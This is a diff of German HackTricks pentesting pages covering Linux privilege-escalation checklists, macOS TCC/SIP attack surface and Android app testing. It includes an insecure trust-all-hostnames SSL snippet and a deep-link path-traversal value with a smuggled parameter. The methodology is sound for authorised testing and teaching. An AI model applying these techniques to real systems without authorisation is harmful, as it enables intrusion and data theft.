* [ ] Generische Benutzer-/Gruppenumeration
* [ ] Hast du eine **sehr große UID**? Ist die **Maschine** **anfällig**?
* [ ] Kannst du [**Privilegien dank einer Gruppe**](privilege-escalation/interesting-groups-linux-pe/) erhöhen, zu der du gehörst?
* [ ] Kannst du [**Privilegien dank einer Gruppe**](privilege-escalation/interesting-groups-linux-pe/) **eskalieren**, zu der du gehörst?
* [ ] **Zwischenablage**-Daten?
* [ ] Passwort-Richtlinie?
* [ ] Versuche, **jedes bekannte Passwort**, das du zuvor entdeckt hast, zu verwenden, um dich **mit jedem** möglichen **Benutzer** anzumelden. Versuche auch, dich ohne Passwort anzumelden.
### [Beschreibbarer PATH](privilege-escalation/#writable-path-abuses)
* [ ] Wenn du **Schreibrechte über einen Ordner im PATH** hast, könntest du in der Lage sein, Privilegien zu erhöhen
* [ ] Wenn du **Schreibrechte über einen Ordner im PATH** hast, könntest du in der Lage sein, Privilegien zu eskalieren
### [SUDO und SUID-Befehle](privilege-escalation/#sudo-and-suid)
* [ ] Kannst du **irgendeinen Befehl mit sudo ausführen**? Kannst du es verwenden, um als root zu LESEN, ZU SCHREIBEN oder ETWAS AUSZUFÜHREN? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Kannst du **irgendeinen Befehl mit sudo ausführen**? Kannst du es verwenden, um als root **zu LESEN, ZU SCHREIBEN oder AUSZUFÜHREN**? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Gibt es eine **ausnutzbare SUID-Binärdatei**? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Sind [**sudo**-Befehle **durch den** **Pfad** **eingeschränkt**? Kannst du die Einschränkungen **umgehen**](privilege-escalation/#sudo-execution-bypassing-paths)?
* [ ] [**Sudo/SUID-Binärdatei ohne angegebenen Pfad**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
@ -165,10 +165,10 @@ Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
### [**Andere Tricks**](privilege-escalation/#other-tricks)
* [ ] Kannst du [**NFS missbrauchen, um Privilegien zu erhöhen**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] Kannst du [**NFS missbrauchen, um Privilegien zu eskalieren**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] Musst du [**aus einer restriktiven Shell entkommen**](privilege-escalation/#escaping-from-restricted-shells)?
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

View file

@ -1,4 +1,4 @@
# macOS Sicherheit & Privilegieneskalation
# macOS-Sicherheit & Privilegieneskalation
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
@ -15,22 +15,22 @@ Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Einblicke**\
Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit Hacking Nachrichten**\
Bleibe auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke
**Echtzeit-Hack-Nachrichten**\
Bleibe auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
**Tritt uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
## Grundlegendes zu MacOS
## Grundlegendes zu macOS
Wenn du mit macOS nicht vertraut bist, solltest du die Grundlagen von macOS lernen:
@ -67,7 +67,7 @@ Wenn du mit macOS nicht vertraut bist, solltest du die Grundlagen von macOS lern
* **Open Source** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
* Um ein `tar.gz` herunterzuladen, ändere eine URL wie [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) zu [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
### macOS MDM
In Unternehmen werden **macOS** Systeme höchstwahrscheinlich **mit einem MDM verwaltet**. Daher ist es aus der Perspektive eines Angreifers interessant zu wissen, **wie das funktioniert**:
@ -75,13 +75,13 @@ In Unternehmen werden **macOS** Systeme höchstwahrscheinlich **mit einem MDM ve
[macos-mdm](../macos-red-teaming/macos-mdm/)
{% endcontent-ref %}
### MacOS - Inspektion, Debugging und Fuzzing
### macOS - Inspektion, Debugging und Fuzzing
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
{% endcontent-ref %}
## MacOS Sicherheitsmaßnahmen
## macOS Sicherheitsmaßnahmen
{% content-ref url="macos-security-protections/" %}
[macos-security-protections](macos-security-protections/)
@ -89,7 +89,7 @@ In Unternehmen werden **macOS** Systeme höchstwahrscheinlich **mit einem MDM ve
## Angriffsfläche
### Datei Berechtigungen
### Datei-Berechtigungen
Wenn ein **Prozess, der als root läuft,** eine Datei schreibt, die von einem Benutzer kontrolliert werden kann, könnte der Benutzer dies ausnutzen, um **Berechtigungen zu eskalieren**.\
Dies könnte in den folgenden Situationen auftreten:
@ -101,7 +101,7 @@ Dies könnte in den folgenden Situationen auftreten:
In der Lage zu sein, eine **Datei zu erstellen**, die von **root verwendet wird**, ermöglicht es einem Benutzer, **von ihrem Inhalt zu profitieren** oder sogar **Symlinks/Hartlinks** zu erstellen, um sie an einen anderen Ort zu verweisen.
Für diese Art von Schwachstellen vergiss nicht, **anfällige `.pkg` Installer** zu überprüfen:
Für diese Art von Schwachstellen vergiss nicht, **anfällige `.pkg`-Installer zu überprüfen**:
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
@ -121,9 +121,9 @@ In macOS **können Anwendungen und Binärdateien Berechtigungen** haben, um auf
Daher muss ein Angreifer, der eine macOS-Maschine erfolgreich kompromittieren möchte, seine **TCC-Berechtigungen eskalieren** (oder sogar **SIP umgehen**, je nach seinen Bedürfnissen).
Diese Berechtigungen werden normalerweise in Form von **Rechten** vergeben, mit denen die Anwendung signiert ist, oder die Anwendung könnte einige Zugriffe angefordert haben, und nachdem der **Benutzer sie genehmigt hat**, können sie in den **TCC-Datenbanken** gefunden werden. Eine andere Möglichkeit, wie ein Prozess diese Berechtigungen erhalten kann, besteht darin, ein **Kind eines Prozesses** mit diesen **Berechtigungen** zu sein, da sie normalerweise **vererbt** werden.
Diese Berechtigungen werden normalerweise in Form von **Berechtigungen** vergeben, mit denen die Anwendung signiert ist, oder die Anwendung könnte einige Zugriffe angefordert haben, und nachdem der **Benutzer sie genehmigt hat**, können sie in den **TCC-Datenbanken** gefunden werden. Eine andere Möglichkeit, wie ein Prozess diese Berechtigungen erhalten kann, besteht darin, ein **Kind eines Prozesses** mit diesen **Berechtigungen** zu sein, da sie normalerweise **vererbt** werden.
Folge diesen Links, um verschiedene Möglichkeiten zu finden, um [**Berechtigungen in TCC zu eskalieren**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), um [**TCC zu umgehen**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) und wie in der Vergangenheit [**SIP umgangen wurde**](macos-security-protections/macos-sip.md#sip-bypasses).
Folge diesen Links, um verschiedene Möglichkeiten zu finden, [**Berechtigungen in TCC zu eskalieren**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), um [**TCC zu umgehen**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) und wie in der Vergangenheit [**SIP umgangen wurde**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Traditionelle Privilegieneskalation
@ -145,15 +145,15 @@ Natürlich solltest du aus der Perspektive eines Red Teams auch daran interessie
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Einblicke**\
Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit Hacking Nachrichten**\
Bleibe auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke
**Echtzeit-Hack-Nachrichten**\
Bleibe auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates

View file

@ -15,7 +15,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -75,12 +75,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Statische Analyse
Zunächst sollten Sie beim Analysieren einer APK **einen Blick auf den Java-Code werfen** mithilfe eines Decompilers.\
Zunächst sollten Sie beim Analysieren einer APK **einen Blick auf den Java-Code** mit einem Decompiler werfen.\
Bitte, [**lesen Sie hier, um Informationen über verschiedene verfügbare Decompiler zu finden**](apk-decompilers.md).
### Auf der Suche nach interessanten Informationen
Wenn Sie sich die **Strings** der APK ansehen, können Sie nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API**-Schlüsseln, **Verschlüsselung**, **Bluetooth UUIDs**, **Tokens** und allem Interessanten suchen... schauen Sie sogar nach Codeausführungs-**Backdoors** oder Authentifizierungs-Backdoors (hardcodierte Admin-Anmeldeinformationen für die App).
Wenn Sie sich die **Strings** der APK ansehen, können Sie nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API**-Schlüsseln, **Verschlüsselung**, **Bluetooth-UUIDs**, **Tokens** und allem Interessanten suchen... suchen Sie sogar nach Codeausführungs-**Backdoors** oder Authentifizierungs-Backdoors (hardcodierte Admin-Anmeldeinformationen für die App).
**Firebase**
@ -88,24 +88,24 @@ Achten Sie besonders auf **Firebase-URLs** und überprüfen Sie, ob sie schlecht
### Grundverständnis der Anwendung - Manifest.xml, strings.xml
Die **Untersuchung der \_Manifest.xml**_\*\* und \*\*_**strings.xml**\_\*\* Dateien kann potenzielle Sicherheitsanfälligkeiten aufdecken\*\*. Diese Dateien können mithilfe von Decompilern oder durch Umbenennen der APK-Dateierweiterung in .zip und anschließendes Entpacken darauf zugegriffen werden.
Die **Untersuchung der \_Manifest.xml**_\*\* und \*\*_**strings.xml**\_\*\* Dateien kann potenzielle Sicherheitsanfälligkeiten aufdecken\*\*. Diese Dateien können mit Decompilern oder durch Umbenennen der APK-Dateierweiterung in .zip und anschließendes Entpacken darauf zugegriffen werden.
**Sicherheitsanfälligkeiten**, die aus der **Manifest.xml** identifiziert wurden, umfassen:
* **Debuggable Anwendungen**: Anwendungen, die im _Manifest.xml_ Datei als debuggable (`debuggable="true"`) festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzt, verweisen Sie auf ein Tutorial zum Finden und Ausnutzen von debuggable Anwendungen auf einem Gerät.
* **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte ausdrücklich für Anwendungen festgelegt werden, die mit sensiblen Informationen umgehen, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist.
* **Debuggable Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzt, verweisen Sie auf ein Tutorial zum Finden und Ausnutzen von debuggable Anwendungen auf einem Gerät.
* **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte ausdrücklich für Anwendungen, die mit sensiblen Informationen umgehen, festgelegt werden, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist.
* **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikatspinning und HTTP-Verkehrseinstellungen festlegen. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains.
* **Exportierte Aktivitäten und Dienste**: Das Identifizieren exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzen kann.
* **Content Provider und FileProviders**: Exponierte Content Provider könnten unbefugten Zugriff oder Modifikationen von Daten ermöglichen. Die Konfiguration von FileProviders sollte ebenfalls überprüft werden.
* **Broadcast-Empfänger und URL-Schemata**: Diese Komponenten könnten für Ausnutzungen verwendet werden, wobei besonderes Augenmerk darauf gelegt werden sollte, wie URL-Schemata für Eingabeverwundbarkeiten verwaltet werden.
* **SDK-Versionen**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und heben die Bedeutung hervor, veraltete, anfällige Android-Versionen aus Sicherheitsgründen nicht zu unterstützen.
Aus der **strings.xml** Datei können sensible Informationen wie API-Schlüssel, benutzerdefinierte Schemata und andere Entwicklernotizen entdeckt werden, was die Notwendigkeit einer sorgfältigen Überprüfung dieser Ressourcen unterstreicht.
Aus der **strings.xml**-Datei können sensible Informationen wie API-Schlüssel, benutzerdefinierte Schemata und andere Entwicklernotizen entdeckt werden, was die Notwendigkeit einer sorgfältigen Überprüfung dieser Ressourcen unterstreicht.
### Tapjacking
**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und **sich über eine Opferanwendung positioniert**. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weiterleitet.\
In der Tat **blindet es den Benutzer, sodass er nicht weiß, dass er tatsächlich Aktionen auf der Opfer-App ausführt**.
In der Tat **blendet es den Benutzer aus, sodass er nicht weiß, dass er tatsächlich Aktionen auf der Opfer-App ausführt**.
Weitere Informationen finden Sie in:
@ -115,7 +115,7 @@ Weitere Informationen finden Sie in:
### Task Hijacking
Eine **Aktivität**, deren **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` festgelegt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, **die Aufgabe der echten Anwendung übernehmen könnte** (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er benutze die echte**).
Eine **Aktivität**, deren **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` festgelegt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, **die Aufgabe der echten Anwendung übernehmen könnte** (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er verwendet die echte**).
Weitere Informationen finden Sie in:
@ -127,12 +127,12 @@ Weitere Informationen finden Sie in:
**Interner Speicher**
In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **Dateien** zwischen verschiedenen Anwendungen **zu teilen**. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
In Android sind Dateien, die im **internen** Speicher **gespeichert** sind, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **Dateien** zwischen verschiedenen Anwendungen **zu teilen**. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
1. **Statische Analyse:**
* **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig überprüft** wird. Diese Modi **könnten potenziell** Dateien **unbeabsichtigt oder unbefugt zugänglich machen**.
* **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig überprüft** wird. Diese Modi **könnten potenziell** Dateien **unbeabsichtigtem oder unbefugtem Zugriff** aussetzen.
2. **Dynamische Analyse:**
* **Überprüfen** Sie die **Berechtigungen**, die für Dateien festgelegt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so festgelegt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, **ermöglicht, diese Dateien zu lesen oder zu ändern**.
* **Überprüfen** Sie die **Berechtigungen**, die für Dateien festgelegt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, **ermöglicht, diese Dateien zu lesen oder zu ändern**.
**Externer Speicher**
@ -168,7 +168,7 @@ Aus irgendeinem Grund akzeptieren Entwickler manchmal alle Zertifikate, selbst w
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Ein guter Weg, dies zu testen, besteht darin, den Datenverkehr mit einem Proxy wie Burp zu erfassen, ohne Burp CA auf dem Gerät zu autorisieren. Außerdem können Sie mit Burp ein Zertifikat für einen anderen Hostnamen generieren und es verwenden.
Ein guter Weg, dies zu testen, besteht darin, den Datenverkehr mit einem Proxy wie Burp zu erfassen, ohne Burp CA im Gerät zu autorisieren. Außerdem können Sie mit Burp ein Zertifikat für einen anderen Hostnamen generieren und es verwenden.
### Broken Cryptography
@ -178,7 +178,7 @@ Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüssel
**Verwendung unsicherer und/oder veralteter Algorithmen**
Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierungsprüfungen** durchzuführen, **Daten zu speichern** oder **zu senden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** beispielsweise zum Speichern von Passwörtern verwendet werden, sollten hash-brute-force **resistente** Hashes mit Salt verwendet werden.
Entwickler sollten keine **veralteten Algorithmen** verwenden, um Autorisierungs-**prüfungen** durchzuführen, **Daten zu speichern** oder **zu senden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** beispielsweise verwendet werden, um Passwörter zu speichern, sollten brute-force **resistente** Hashes mit Salt verwendet werden.
### Weitere Überprüfungen
@ -206,7 +206,7 @@ Lesen Sie die folgende Seite, um zu erfahren, wie Sie einfach auf den C#-Code vo
### Superpacked Anwendungen
Laut diesem [**Blogbeitrag**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) ist superpacked ein Meta-Algorithmus, der den Inhalt einer Anwendung in einer einzigen Datei komprimiert. Der Blog spricht über die Möglichkeit, eine App zu erstellen, die diese Art von Apps dekomprimiert... und einen schnelleren Weg, der darin besteht, die **Anwendung auszuführen und die dekomprimierten Dateien vom Dateisystem zu sammeln.**
Laut diesem [**Blogbeitrag**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) ist Superpacked ein Meta-Algorithmus, der den Inhalt einer Anwendung in einer einzigen Datei komprimiert. Der Blog spricht über die Möglichkeit, eine App zu erstellen, die diese Art von Apps dekomprimiert... und einen schnelleren Weg, der darin besteht, die **Anwendung auszuführen und die dekomprimierten Dateien aus dem Dateisystem zu sammeln.**
### Automatisierte statische Codeanalyse
@ -239,18 +239,18 @@ Eine Anwendung kann Geheimnisse (API-Schlüssel, Passwörter, versteckte URLs, S
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Insights**\
Engagieren Sie sich mit Inhalten, die in die Aufregung und die Herausforderungen des Hackens eintauchen.
Engagieren Sie sich mit Inhalten, die in die Aufregung und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke.
Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates.
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattformaktualisierungen
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
@ -270,7 +270,7 @@ Sie können sogar **die Protokolle Ihrer Anwendung** im Web sehen und über **ad
Dank der ADB-Verbindung können Sie **Drozer** und **Frida** innerhalb der Emulatoren verwenden.
### Lokale dynamische Analyse
### Lokale Dynamische Analyse
#### Verwendung eines Emulators
@ -296,7 +296,7 @@ Beachten Sie auch, dass Sie in der **Konfiguration der Android-VM in Genymotion*
#### Verwendung eines physischen Geräts
Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es **rooten** können:
Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es **rooten** könnten:
1. **Einstellungen**.
2. (Ab Android 8.0) Wählen Sie **System**.
@ -315,12 +315,12 @@ Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zug
{% hint style="warning" %}
Beachten Sie, dass ab **neueren Versionen als Android 4.0** **Anwendungen nur auf ihre eigenen Protokolle zugreifen können**. Anwendungen können also nicht auf die Protokolle anderer Apps zugreifen.\
Dennoch wird empfohlen, **sensible Informationen nicht zu protokollieren**.
Dennoch wird weiterhin empfohlen, **sensible Informationen nicht zu protokollieren**.
{% endhint %}
**Zwischenspeicherung der Copy/Paste-Puffer**
**Zwischenspeicherung des Copy/Paste-Puffers**
Das **Clipboard-basierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegt. Es ist wichtig, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendetails, zu deaktivieren, um Datenlecks zu verhindern.
Das **Clipboard-basierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist entscheidend, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendetails, zu deaktivieren, um Datenlecks zu verhindern.
**Absturzprotokolle**
@ -334,10 +334,10 @@ Anwendungen integrieren häufig Dienste wie Google Adsense, die unbeabsichtigt *
### SQLite-Datenbanken
Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests sollten Sie einen **Blick** auf die **erstellten Datenbanken**, die Namen der **Tabellen** und **Spalten** sowie alle **gespeicherten Daten** werfen, da Sie **sensible Informationen** finden könnten (was eine Schwachstelle darstellen würde).\
Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests sollten Sie einen **Blick** auf die **Datenbanken** werfen, die erstellt wurden, die Namen der **Tabellen** und **Spalten** sowie alle **gespeicherten Daten**, da Sie **sensible Informationen** finden könnten (was eine Schwachstelle darstellen würde).\
Datenbanken sollten sich in `/data/data/the.package.name/databases` wie `/data/data/com.mwr.example.sieve/databases` befinden.
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** innerhalb der Anwendung **finden**, ist dies immer noch eine **Schwachstelle**.
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** innerhalb der Anwendung **finden**, ist es immer noch eine **Schwachstelle**.
Zählen Sie die Tabellen mit `.tables` und zählen Sie die Spalten der Tabellen mit `.schema <table_name>`.
@ -353,7 +353,7 @@ Denken Sie auch daran, dass der Code einer Aktivität in der **`onCreate`**-Meth
**Autorisierungsumgehung**
Wenn eine Aktivität exportiert wird, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** wird, die **Authentifizierungs**-Mechanismen **umgehen**, um darauf zuzugreifen.
Wenn eine Aktivität exportiert ist, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** ist, die **Authentifizierungs**-Mechanismen **umgehen**, um darauf zuzugreifen.
[**Erfahren Sie, wie Sie exportierte Aktivitäten mit Drozer ausnutzen.**](drozer-tutorial/#activities)
@ -381,7 +381,7 @@ Wenn Tapjacking nicht verhindert wird, könnten Sie die exportierte Aktivität m
### Ausnutzen von Content Providern - Zugriff auf und Manipulation von sensiblen Informationen
[**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\
Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injektionen** und **Path Traversals** zu testen, da sie anfällig sein könnten.
Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injection**- und **Path Traversal**-Angriffe zu testen, da sie anfällig sein könnten.
[**Erfahren Sie, wie Sie Content Provider mit Drozer ausnutzen.**](drozer-tutorial/#content-providers)
@ -390,7 +390,7 @@ Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine A
[**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Service ist.**](android-applications-basics.md#services)\
Denken Sie daran, dass die Aktionen eines Services in der Methode `onStartCommand` beginnen.
Ein Service ist im Grunde etwas, das **Daten empfangen**, **verarbeiten** und **eine Antwort** (oder nicht) **zurückgeben** kann. Wenn eine Anwendung einige Services exportiert, sollten Sie den **Code** überprüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen...\
Ein Service ist im Grunde etwas, das **Daten empfangen**, sie **verarbeiten** und (oder nicht) eine Antwort **zurückgeben** kann. Wenn eine Anwendung einige Services exportiert, sollten Sie den **Code** überprüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen...\
[**Erfahren Sie, wie Sie Services mit Drozer ausnutzen.**](drozer-tutorial/#services)
### **Ausnutzen von Broadcast Receivers**
@ -436,7 +436,7 @@ Jedes Mal, wenn du einen Deep Link findest, überprüfe, dass **er keine sensibl
**Parameter im Pfad**
Du **musst auch überprüfen, ob ein Deep Link einen Parameter im Pfad** der URL verwendet, wie: `https://api.example.com/v1/users/{username}`. In diesem Fall kannst du eine Pfadtraversierung erzwingen, indem du auf etwas wie: `example://app/users?username=../../unwanted-endpoint%3fparam=value` zugreifst.\
